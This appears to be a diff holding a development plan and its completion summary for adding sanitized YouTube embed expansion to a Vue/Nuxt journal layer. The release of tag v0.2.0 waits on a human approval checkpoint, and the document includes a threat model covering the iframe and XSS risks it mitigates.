||||
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
|
||||
<!-- becomes -->
|
||||
<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" title="YouTube video" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture; fullscreen" allowfullscreen></iframe></figure>
|
||||
```
|
||||
|
||||
Existing sanitizer (app/utils/htmlGate.ts, sanitize-html 2.18.0 mirroring the Go bluemonday policy): `sanitizeJournalHtml(html): string` strips what the policy refuses (iframe, script and style with their content; on* attributes; target and rel; URLs other than http, https, mailto and relative; attribute values failing their pattern) and always returns sanitize-html's own serialization; `gateJournalHtml(html) -> { safe, html }` never blanks (`safe` reports whether the policy kept everything); `isSafeJournalHtml(html)`. Policy tables: `GLOBAL_ATTRS`, `ELEMENT_ATTRS` (img alt uses `PARAGRAPH`; no figure or ol entry today), `EMPTY_ATTRS`. Call sites: `toPostView` (app/utils/postView.ts) and app/journal-pages/CategoryPage.vue sanitize the payload; `JournalPostBody` renders `v-html` of `sanitizeJournalHtml(props.html)`; `JournalCategoryHeader` renders `v-html` of `sanitizeJournalHtml(props.category.content)`.
|
||||
|
||||
Pipeline after this plan: payload `sanitizeJournalHtml` (placeholder kept) → sink `sanitizeJournalHtml` (placeholder kept) → `expandEmbeds` (last) → `v-html`.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe on the post page (mirror extension, sanitize, expand last, v-html, SSR)</name>
|
||||
<reversibility rating="costly">D-05 and D-17: the layer's matcher is the reader of the stored placeholder format; both must change together if the markup ever changes.</reversibility>
|
||||
<precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
|
||||
<files>../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/tests/htmlGate.test.ts, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/fixtures/editor-corpus.json, ../vue-journal-layer/testing/fixtures/acme/posts.json, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md, ../vue-journal-layer/README.md</files>
|
||||
<read_first>../vue-journal-layer/app/utils/htmlGate.ts (ELEMENT_ATTRS, PARAGRAPH, INTEGER, EMPTY_ATTRS, filterAttributeValues, KEEP_ALL), ../vue-journal-layer/tests/htmlGate.test.ts (test style), ../vue-journal-layer/app/utils/postView.ts, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md (Policy section), ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy: the Go side of the mirror), ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/app/assets/css/journal-tokens.css, ../vue-journal-layer/testing/expect-acme.txt (grammar), ../vue-journal-layer/testing/fixtures/acme/posts.json (post hello-acme), ../vue-journal-layer/testing/smoke-ssr.mjs, ../vue-journal-layer/.playground/nuxt.config.ts, ../vue-journal-layer/package.json, ../vue-journal-layer/README.md</read_first>
|
||||
<action>Build the expansion on the post page end to end (per D-17, D-05).
|
||||
|
||||
Mirror (D-05 amended): in htmlGate.ts add the same four rules plan 03 adds to the Go policy and nothing else: an ELEMENT_ATTRS entry for figure with data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$; an ol entry gaining start (INTEGER) next to type; img alt accepting any value (a new rule constant, documented as the editor's free-text alt; sanitize-html escapes attribute values). Extend the header comment's list of additions. Copy ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json byte for byte to tests/fixtures/editor-corpus.json. In tests/htmlGate.test.ts: every corpus entry is safe under gateJournalHtml; the placeholder is kept by sanitizeJournalHtml applied twice; data-embed other than youtube, a 10- or 12-character id, data-id on div and any other data attribute on figure are still stripped; an iframe is still stripped with its content; ol start="3" kept and start="x" stripped; an alt with a colon, a question mark and quotes kept. Update the Policy section of docs/decisions/0001-sanitize-html.md with the four additions and their reason (the Blog Editor's own output, pinned by the corpus, mirroring the Go policy).
|
||||
|
||||
embeds.ts (header comment naming the editor's placeholder and the Go policy as the source of truth, in the htmlGate.ts style): EMBED_PROVIDERS with one entry youtube (id pattern ^[A-Za-z0-9_-]{11}$, src builder on https://www.youtube-nocookie.com/embed/, title "YouTube video"); EMBED_PLACEHOLDER, a global RegExp matching exactly the placeholder in the interfaces block with capture groups for provider and id (attribute values without quotes or angle brackets); expandEmbeds(html) replaces a match only when the provider is in EMBED_PROVIDERS and the id passes its pattern, producing exactly the expansion in the interfaces block; every other match is returned unchanged; empty input returns "". The regex matches the serialization sanitize-html gives the placeholder (attribute order kept, double quotes), because its input is always sanitizer output.
|
||||
|
||||
Wiring (order is the point): PostBody.vue computes the rendered HTML as expandEmbeds(sanitizeJournalHtml(props.html)) and CategoryHeader.vue as expandEmbeds(sanitizeJournalHtml(props.category.content)); expansion is the last step before v-html and its output is never sanitized again (sanitize-html would strip the iframe). toPostView and CategoryPage.vue keep only sanitizing (the payload carries the placeholder, not the iframe); do not expand there. Update the components' header comments to say so. journal-base.css adds .journal-embed (block, margin from the existing spacing tokens, aspect-ratio 16 / 9, width 100 percent) and its iframe (width and height 100 percent, border 0).
|
||||
|
||||
Fixtures: append the placeholder for id dQw4w9WgXcQ to the content_html of the acme post hello-acme, and add to testing/expect-acme.txt the line "200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" under the single-post block.
|
||||
|
||||
Smoke: tests/embeds.test.ts (node:test): the placeholder expands to the exact iframe markup; a 10-character id, an unknown provider and a figure with extra attributes stay unchanged; the composed sink pipeline expandEmbeds(sanitizeJournalHtml(x)) turns a stored placeholder into the iframe but strips a raw iframe in x, so the only iframe in the output is the one built from the placeholder; the payload-then-sink pipeline (sanitize, sanitize, expand) gives the same result; two placeholders in one body both expand; the corpus embed entry expands after sanitizing.
|
||||
|
||||
README.md: an "Embeds" section describing the placeholder, the allowlist, the sanitize-first, expand-last order and the CSS classes; the HTML sanitizer bullet names the four editor-output additions. Commit as "feat: keep Blog Editor markup in the sanitizer and expand Journal embed placeholders into privacy-enhanced iframes", staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix ../vue-journal-layer test 2>&1 | grep -E '^# fail 0$'</automated>
|
||||
<fails_when>No "# fail 0" line in the TAP summary: an embeds or mirror test failed (a corpus entry is unsafe, the placeholder does not survive two sanitizer passes, a negative case is no longer stripped, or a stored iframe reaches the output), or an existing htmlGate, postView, routes, seo, sitemap, i18n, pagination or client test failed.</fails_when>
|
||||
<automated>pnpm -C ../vue-journal-layer install --frozen-lockfile && pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt 2>&1 | grep '^smoke-ssr: ok ('</automated>
|
||||
<fails_when>No line starting with "smoke-ssr: ok (": the playground build failed, or an expectation failed (the new youtube-nocookie line on /blog/hello-acme, or an existing one such as /blog/unsafe-sample containing <p>Before</p><p>After</p> without alert().</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function expandEmbeds" ../vue-journal-layer/app/utils/embeds.ts` prints one line.
|
||||
- `grep -c "expandEmbeds" ../vue-journal-layer/app/components/Journal/PostBody.vue ../vue-journal-layer/app/components/Journal/CategoryHeader.vue` reports at least 1 for each file, and `grep -c "expandEmbeds" ../vue-journal-layer/app/utils/postView.ts ../vue-journal-layer/app/journal-pages/CategoryPage.vue` reports 0 for each (no expansion before the sink's sanitizer).
|
||||
- `grep -n "data-embed" ../vue-journal-layer/app/utils/htmlGate.ts` prints at least one line, and `cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` exits 0.
|
||||
<!-- planner-discipline-allow: expandEmbeds -->
|
||||
- `grep -n "youtube-nocookie.com/embed/dQw4w9WgXcQ" ../vue-journal-layer/testing/expect-acme.txt` prints one line.
|
||||
- The node test summary shows "# fail 0" and includes the embeds tests; smoke-ssr passes against the built playground.
|
||||
</acceptance_criteria>
|
||||
<done>The layer's sanitizer keeps exactly the editor's own markup, a placeholder in a stored post renders as a youtube-nocookie iframe in the SSR page, malformed placeholders stay inert, and raw iframes are still stripped.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 2: Approve pushing vue-journal-layer v0.2.0 and the site app pin</name>
|
||||
<precondition>Task 1's two verify commands passed.</precondition>
|
||||
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../vue-journal-layer/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json</read_first>
|
||||
<action>Automate the checks, then stop. In ../vue-journal-layer: `git status --porcelain` prints nothing; `git fetch origin --tags`; `git log --oneline HEAD..origin/main` prints nothing (if it prints commits, stop and report); `git ls-remote --tags origin refs/tags/v0.2.0` prints nothing. Set package.json version to 0.2.0 and commit it as "chore: release v0.2.0". In the app submodule: `git status --porcelain` prints nothing and `git log --oneline HEAD..origin/main` prints nothing. Print the release sheet: the layer commits to push (`git log --oneline origin/main..HEAD`), the tag name and message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes", the app change (pin #v0.1.1 to #v0.2.0 plus the regenerated lockfile), and the rollback (a defect means v0.2.1; the app pin can go back to #v0.1.1). Stop for the human.</action>
|
||||
<decision>Push vue-journal-layer main and the annotated tag v0.2.0, then push the vue-grzybyfunkcjonalne-app pin bump?</decision>
|
||||
<context>A pushed tag is installed by consumer lockfiles (git+https ... #v0.2.0) and cannot be moved, only superseded. The site app's main (today ada03b2, pinning #v0.1.1) is what plan 05 deploys to UAT through the host gitlink. The embed expansion and the four mirror rules are harmless before any post holds editor markup.</context>
|
||||
<options>
|
||||
<option id="push">
|
||||
<name>Push now</name>
|
||||
<pros>The site can render embeds as soon as plan 05 deploys; check-git-install proves the tag installs anonymously</pros>
|
||||
<cons>The tag is permanent</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the tag</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>Plan 05 cannot bump the app gitlink to an app that pins v0.2.0; embeds would not render on UAT</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "push" or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>test -z "$(git -C ../vue-journal-layer status --porcelain)" && test -z "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0)" && grep -q '"version": "0.2.0"' ../vue-journal-layer/package.json && test -z "$(git -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app status --porcelain)" && echo push-precheck-ok</automated>
|
||||
<fails_when>Non-zero exit or "push-precheck-ok" absent: the layer or app tree is dirty, the tag already exists on origin, or the version bump is missing.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- push-precheck-ok was printed.
|
||||
- The SUMMARY records the release sheet and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose push or hold (hold stops the plan and is reported to plan 05).</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Push the layer tag, prove the git install, pin v0.2.0 in the site app</name>
|
||||
<reversibility rating="one-way">The annotated tag v0.2.0 is consumed by lockfiles that pin its commit; it can only be superseded by v0.2.1.</reversibility>
|
||||
<precondition>Task 2 was answered "push"; `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` still prints nothing.</precondition>
|
||||
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml</files>
|
||||
<read_first>../vue-journal-layer/scripts/check-git-install.sh, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts (needs a build first), ../sm-grzybyfunkcjonalne-app/scripts/build.sh (how the host builds the app: pnpm install --frozen-lockfile)</read_first>
|
||||
<action>Release the layer (per D-17): in ../vue-journal-layer create the annotated tag with git tag -a v0.2.0 and the message from Task 2, then git push origin main and git push origin v0.2.0; run bash scripts/check-git-install.sh v0.2.0 (a scratch app installs the tag anonymously, the lockfile pins the tag commit, nuxt build and the acme SSR expectations, including the new embed line, pass).
|
||||
|
||||
Pin in the site app: in ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app change the vue-journal-layer dependency from #v0.1.1 to git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0, run pnpm install to regenerate pnpm-lock.yaml (it must record the tag's commit), then pnpm build and pnpm test (unit and SSR tests against the built output). Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.2.0 (Journal embeds)" and push origin main. Record both pushed heads and the tag commit in the SUMMARY.</action>
|
||||
<verify>
|
||||
<automated>bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0</automated>
|
||||
<fails_when>Non-zero exit: the tag is not on origin, the scratch lockfile pins another commit, nuxt build fails, or an acme SSR expectation fails.</fails_when>
|
||||
<automated>cd ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app && grep -q 'vue-journal-layer.git#v0.2.0' package.json && pnpm install --frozen-lockfile && pnpm build && pnpm test && test "$(git rev-parse HEAD)" = "$(git rev-parse origin/main)" && echo app-pin-ok</automated>
|
||||
<fails_when>Non-zero exit or "app-pin-ok" absent: the pin is missing, the lockfile is out of date, the build or a unit or SSR test fails, or the app commit was not pushed.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` prints a line, and check-git-install.sh v0.2.0 passes.
|
||||
- The app package.json pins #v0.2.0, pnpm-lock.yaml records the tag's commit, and app main equals origin/main.
|
||||
- The SUMMARY records the layer tag commit, the layer and app heads pushed.
|
||||
</acceptance_criteria>
|
||||
<done>vue-journal-layer v0.2.0 is published and installable, and the site app pins it on its pushed main.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Journal API content_html → site v-html | stored HTML (admin-written or imported) becomes page markup |
|
||||
| site page → youtube-nocookie.com | the visitor's browser loads a third-party frame |
|
||||
| executor → git origin | the layer tag and the app main are read by other builds |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-19 | Tampering (iframe injection) | expandEmbeds | high | mitigate | Exact-markup regex, provider allowlist and an id pattern; the iframe src is built from a fixed host plus the validated id; anything else stays inert; tests cover malformed ids, unknown providers and extra attributes |
|
||||
| T-16.2-20 | Elevation of Privilege | sanitize-then-expand order | high | mitigate | sanitizeJournalHtml runs first at each v-html sink and expandEmbeds is the last step, so stored raw iframes are stripped and the only iframe is the one built from a validated placeholder; expansion never happens in a payload transform (acceptance grep); tests compose the sink and the payload-then-sink pipelines |
|
||||
| T-16.2-32 | Tampering (stored XSS) / policy drift | htmlGate.ts mirror extension | high | mitigate | Exactly the four editor-output rules the Go policy gains in plan 03, with the same patterns; no iframe, URL scheme, style or other data attribute; every corpus entry (byte copy of plan 02's corpus, compared with cmp here and in the plan 06 gate) is safe, and the negative cases stay stripped |
|
||||
| T-16.2-21 | Information Disclosure (visitor privacy) | YouTube frame | low | mitigate | youtube-nocookie.com privacy-enhanced domain, lazy loading, strict-origin-when-cross-origin referrer policy; the site's report-only CSP allows frames only from that host (frame-src, added by plan 05) |
|
||||
| T-16.2-22 | Tampering / Repudiation | tag and pushes | medium | mitigate | Clean trees and an absent tag checked at a blocking-human checkpoint; check-git-install proves the published tag; heads recorded in the SUMMARY |
|
||||
| T-16.2-SC | Tampering | npm/pnpm installs | high | mitigate | No new package: the layer adds no dependency; the app only changes its pin to the project's own layer tag and regenerates the lockfile with pnpm |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: node tests ("# fail 0") and the playground SSR smoke pass.
|
||||
- Task 2: push-precheck-ok and a human decision.
|
||||
- Task 3: check-git-install v0.2.0 passes and the app pin builds, tests and is pushed.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-17: embeds render on the site through the layer, v0.2.0 is published and pinned in the app.
|
||||
- D-05: the sanitizer mirrors the Go policy's four editor-output rules and nothing more, still runs first at every sink, and expansion is last.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md` when done, with the human reply, the tag commit, the pushed heads and the SSR smoke output.
|
||||
</output>
|
||||
@@ -0,0 +1,247 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 04
|
||||
subsystem: journal-frontend
|
||||
tags: [vue-journal-layer, nuxt, sanitize-html, embeds, youtube-nocookie, release, pnpm, vue-grzybyfunkcjonalne-app]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-02
|
||||
provides: tests/blogeditor/fixtures/editor-corpus.json (the Blog Editor's output corpus) and the placeholder format <figure data-embed="youtube" data-id="ID"></figure>
|
||||
- phase: 16.1
|
||||
provides: sanitize-html 2.18.0 mirror (htmlGate.ts, decision note 0001-sanitize-html.md), layer tag v0.1.1, app pin #v0.1.1
|
||||
provides:
|
||||
- "vue-journal-layer htmlGate.ts mirror of the Go editor-output extension: figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER"
|
||||
- "vue-journal-layer app/utils/embeds.ts: EMBED_PLACEHOLDER, EMBED_PROVIDERS (youtube only), expandEmbeds(html)"
|
||||
- "JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)); expansion is last, payload transforms only sanitize"
|
||||
- "CSS classes .journal-embed and .journal-embed--youtube (16 / 9 frame)"
|
||||
- "tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus"
|
||||
- "Annotated tag vue-journal-layer v0.2.0 (tag object 042b65d0, commit 759e684e) on origin, installable anonymously over git+https"
|
||||
- "vue-grzybyfunkcjonalne-app main 465286a pins #v0.2.0 with a lockfile resolving to 759e684e"
|
||||
affects: [16.2-05, 16.2-06, vue-journal-layer, vue-grzybyfunkcjonalne-app]
|
||||
|
||||
actuals:
|
||||
tokens: 9700
|
||||
tasks: 3
|
||||
commits: 3
|
||||
plan_head_before: 294a8d8b19b999d54cc3b1266d0f42968159f5f2
|
||||
plan_head_after: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f
|
||||
commits_repo: ../vue-journal-layer
|
||||
app_head_before: ada03b202bdfce2c09812dc81c58b0890cf4b86b
|
||||
app_head_after: 465286a880f0aae6118c2915aa1475a5da353295
|
||||
app_commits_repo: ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
app_commits: 1
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Sanitize first, expand last: the v-html sink runs sanitizeJournalHtml and then expandEmbeds; nothing sanitizes after expansion, and payload transforms never expand"
|
||||
- "Exact-markup placeholder expansion: one global RegExp matching the sanitizer's serialization, a provider allowlist with an id pattern, and an iframe src built from a fixed host plus the validated id; any other match is returned unchanged"
|
||||
- "Mirror pinned by the editor's corpus: the layer keeps a byte copy of the Go side's corpus and every entry must be safe under gateJournalHtml"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../vue-journal-layer/app/utils/embeds.ts
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
- ../vue-journal-layer/tests/fixtures/editor-corpus.json
|
||||
modified:
|
||||
- ../vue-journal-layer/app/utils/htmlGate.ts
|
||||
- ../vue-journal-layer/app/components/Journal/PostBody.vue
|
||||
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
|
||||
- ../vue-journal-layer/app/assets/css/journal-base.css
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
- ../vue-journal-layer/testing/fixtures/acme/posts.json
|
||||
- ../vue-journal-layer/testing/expect-acme.txt
|
||||
- ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
|
||||
- ../vue-journal-layer/README.md
|
||||
- ../vue-journal-layer/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
|
||||
key-decisions:
|
||||
- "The layer mirror gained exactly the four editor-output rules of the Go policy (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER); no fifth rule was needed for the corpus"
|
||||
- "Embed expansion runs only at the v-html sinks, after sanitizeJournalHtml; the payload (toPostView, CategoryPage) carries the placeholder, never the iframe"
|
||||
- "Human approved the one-way release at the Task 2 blocking-human checkpoint with the reply \"push\"; vue-journal-layer v0.2.0 is published and any later defect gets v0.2.1"
|
||||
- "The release commit also moved the README install line from #v0.1.0 to #v0.2.0 so the documented pin matches the published tag"
|
||||
|
||||
patterns-established:
|
||||
- "A layer release is a separate 'chore: release vX.Y.Z' commit (package.json version plus README install line), tagged annotated, pushed after a blocking-human checkpoint, proven by scripts/check-git-install.sh, then pinned in the consuming app with a regenerated lockfile"
|
||||
|
||||
requirements-completed: [D-05, D-17]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "htmlGate.ts mirrors the Go editor-output extension and nothing more; every corpus entry is safe, the placeholder survives two sanitizer passes, negative cases (other provider, 10/12-char id, data-id on div, other data attributes, iframe, ol start=x) are stripped"
|
||||
requirement: "D-05"
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../vue-journal-layer/tests/htmlGate.test.ts (npm test: 136 pass, 0 fail)"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (exit 0)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "expandEmbeds turns only the exact allowlisted placeholder into a youtube-nocookie iframe, last at the post and category sinks; a raw stored iframe is stripped before expansion"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../vue-journal-layer/tests/embeds.test.ts (npm test: 136 pass, 0 fail)"
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: "node testing/smoke-ssr.mjs against the built playground: smoke-ssr: ok (29 checks), including 200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "vue-journal-layer v0.2.0 is an annotated tag on origin and installs anonymously; the scratch lockfile pins the tag commit and the acme SSR expectations pass"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0 -> check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "vue-grzybyfunkcjonalne-app main pins #v0.2.0, its lockfile resolves to 759e684e, it builds, its unit and SSR tests pass, and main equals origin/main"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 app verify command -> # pass 26, # fail 0, app-pin-ok; pnpm run smoke:ssr -> smoke-ssr: ok (37 checks)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "A Blog Editor YouTube embed plays on the deployed grzybyfunkcjonalne.pl UAT page"
|
||||
requirement: "D-17"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "The UAT deploy and the CSP frame-src https://www.youtube-nocookie.com addition belong to plan 05; a real browser on the deployed site is needed to confirm the frame loads"
|
||||
|
||||
duration: "about 50 min across two executor runs (Task 3 continuation 7 min)"
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 04: Journal Embeds in the Nuxt Layer Summary
|
||||
|
||||
**vue-journal-layer v0.2.0 keeps the Blog Editor's markup through its sanitize-html mirror (four rules matching the Go policy) and expands `<figure data-embed="youtube" data-id="…">` placeholders into youtube-nocookie iframes as the last step before v-html. The tag is published and installs anonymously, and vue-grzybyfunkcjonalne-app main pins it.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 50 min over two executor runs. The first run covered Task 1, the release commit and the Task 2 checkpoint (layer commits at 10:19Z). This continuation ran Task 3 from 2026-10-10T11:01:53Z to about 11:08Z.
|
||||
- **Started:** about 2026-10-10T10:14Z, after plan 03 closed. The prior run did not record an exact start time.
|
||||
- **Completed:** 2026-10-10T11:10Z
|
||||
- **Tasks:** 3/3 (Task 1 tracer, Task 2 blocking-human decision, Task 3 release)
|
||||
- **Files modified:** 15 (13 in vue-journal-layer, 2 in vue-grzybyfunkcjonalne-app)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Mirror (D-05 amended).** `htmlGate.ts` gained exactly the four editor-output rules that plan 03 added to the Go bluemonday policy: figure `data-embed` `^youtube$`, figure `data-id` `^[A-Za-z0-9_-]{11}$`, img `alt` free text and ol `start` INTEGER. Every entry of the byte-copied corpus is safe. The Policy section of decision note 0001 lists the four additions.
|
||||
- **Embeds (D-17).** `app/utils/embeds.ts` exports `EMBED_PLACEHOLDER`, `EMBED_PROVIDERS` (YouTube only) and `expandEmbeds`. The iframe src is the fixed host `https://www.youtube-nocookie.com/embed/` plus the validated id, and the iframe gets lazy loading, a strict-origin-when-cross-origin referrer policy and a restricted `allow` list.
|
||||
- **Order.** `JournalPostBody` and `JournalCategoryHeader` render `expandEmbeds(sanitizeJournalHtml(html))`. `toPostView` and `CategoryPage.vue` only sanitize. A raw iframe in stored HTML is stripped before expansion.
|
||||
- **SSR proof.** The acme fixture post `hello-acme` carries a placeholder, and the built playground renders the iframe for it.
|
||||
- **Release.** Annotated tag `v0.2.0` is on origin and `check-git-install.sh v0.2.0` passes.
|
||||
- **App pin.** The site app pins `#v0.2.0` on its pushed main, with a lockfile that resolves to the tag commit.
|
||||
|
||||
## Task Commits
|
||||
|
||||
| Task | Name | Repo | Commit |
|
||||
|---|---|---|---|
|
||||
| 1 | Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe | vue-journal-layer | `a6ee443` (feat) |
|
||||
| 2 | Approve pushing vue-journal-layer v0.2.0 and the site app pin (prep: release commit) | vue-journal-layer | `759e684` (chore: release v0.2.0) |
|
||||
| 3 | Push the layer tag, prove the git install, pin v0.2.0 in the site app | vue-grzybyfunkcjonalne-app | `465286a` (chore(deps)) |
|
||||
|
||||
Task 3 also created the annotated tag `v0.2.0` (tag object `042b65d072f276f7ee6f1d8bc6f66f518411161e`, peeled commit `759e684e862bd8a2f34e2bbcdf258f66aeddad4f`).
|
||||
|
||||
**Pushed heads:**
|
||||
- vue-journal-layer `main`: `294a8d8..759e684` (`759e684e862bd8a2f34e2bbcdf258f66aeddad4f`) and tag `v0.2.0`, pushed to git@git.golem15.com:golem15/vue-journal-layer.git.
|
||||
- vue-grzybyfunkcjonalne-app `main`: `ada03b2..465286a` (`465286a880f0aae6118c2915aa1475a5da353295`), pushed to git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git.
|
||||
|
||||
The summercms.go host gitlink and the sm-grzybyfunkcjonalne-app host gitlink were not touched. Plan 05 bumps them.
|
||||
|
||||
## Evidence
|
||||
|
||||
**Task 1 (tracer):**
|
||||
- `npm test`: 136 pass, 0 fail.
|
||||
- `pnpm install --frozen-lockfile` and `build:playground`: OK.
|
||||
- `smoke-ssr: ok (29 checks)`, including `200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ`.
|
||||
- `cmp tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`: exit 0.
|
||||
- Exactly four mirror rules were added: figure data-embed `^youtube$`, figure data-id `^[A-Za-z0-9_-]{11}$`, img alt FREE_TEXT, ol start INTEGER.
|
||||
|
||||
**Task 2 (checkpoint:decision, gate blocking-human):**
|
||||
- The verify command printed `push-precheck-ok`.
|
||||
- Release sheet:
|
||||
- Layer commits to push: `a6ee443` feat, `759e684` chore: release v0.2.0.
|
||||
- Tag `v0.2.0`, message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes".
|
||||
- App change: pin `#v0.1.1` to `#v0.2.0`, plus the regenerated lockfile.
|
||||
- Rollback: a defect means v0.2.1, and the app pin can go back to `#v0.1.1`.
|
||||
- Human reply, verbatim: "push"
|
||||
|
||||
